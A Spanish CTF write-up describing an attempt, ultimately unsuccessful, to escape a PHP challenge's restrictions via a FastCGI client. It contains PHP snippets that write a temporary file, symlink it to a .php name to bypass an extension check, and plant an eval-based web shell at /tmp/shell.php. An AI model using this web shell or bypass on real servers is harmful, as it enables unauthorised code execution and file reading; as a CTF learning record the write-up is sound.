CTF FWHIBBIT – Impossible is nothing – Indonesia – Parte 2

En esta segunda parte explicaré el proceso que he seguido para intentar, sin exito, evadir las protecciones de la prueba y hacerme con el control de la maquina, o al menos del docker donde se encuentra la prueba.

En el ultimo paso de la solución a la prueba se consiguió ejecutar el archivo PHP en el que se encontraba la flag.

Por tanto, nuestro primer objetivo será ejecutar nuestro propio código, pero a través del CGI.

Para ello voy a simplificar el proceso utilizando directamente la librería/clase PHP-FastCGI-Client para comunicarme con el socket de PHP.

Modificando la petición es posible llamar a ajax.php para ejecutar cualquier código PHP que se encuentre en la variable phpcode.

De esta forma tampoco es posible evadir las protecciones para ejecutar funciones prohibidas o habilitar el wrapper file.

Mi siguiente intento fue el de subir mi propio archivo PHP y ejecutarlo, para ello podia utilizar la función tmpfile para crear un fichero de nombre aleatorio en el directorio /tmp/ y fwrite para escribir en el. Al no tener la extension .php, por seguridad, no es posible ejecutar el archivo.

// Crear archivo temporal
$data = '<?php phpinfo(); ?>';
$tmpHandle = tmpfile();
$metaDatas = stream_get_meta_data($tmpHandle);
$tmpFilename = $metaDatas['uri'];
echo $tmpFilename;
fwrite($tmpHandle, $data);

Para evadir esta protección solo es necesario modificar la extensión del archivo, o mucho mas rápido, crear un enlace simbólico con la extensión php.

$newphp = '/tmp/pwned.php';
symlink($tmpFilename, $newphp);

De esta forma ya tenemos habilitados todos los wrappers y hemos conseguido evadir una de las protecciones.

Para simplificar el proceso y no tener que crear un archivo nuevo cada vez en el directorio /tmp/, se sube un archivo similar a ajax.php con la opción de ejecutar código PHP proveniente de una variable.

$data = '
<pre>
<?php
    $cod = \'<pre><?php eval(@$_POST["phpcode"]); ?></pre>\';
    var_dump(file_put_contents(\'/tmp/shell.php\', $cod));
    readfile(\'/tmp/shell.php\');
?>
</pre>
';

A partir de aquí se puede seguir investigando cómodamente, tan solo cambiando el código a ejecutar en la variable $code.

Podemos usar scandir para listar los archivos de un directorio.

También es posible usar readfile para leer archivos de configuración del sistema, o el mismo código fuente de la prueba.

Finalmente no fue posible evadir la protección de funciones deshabilitadas, ni siquiera utilizando un hook con LD_PRELOAD como se explica en el blog de 0verl0ad al estar la función mail deshabilitada.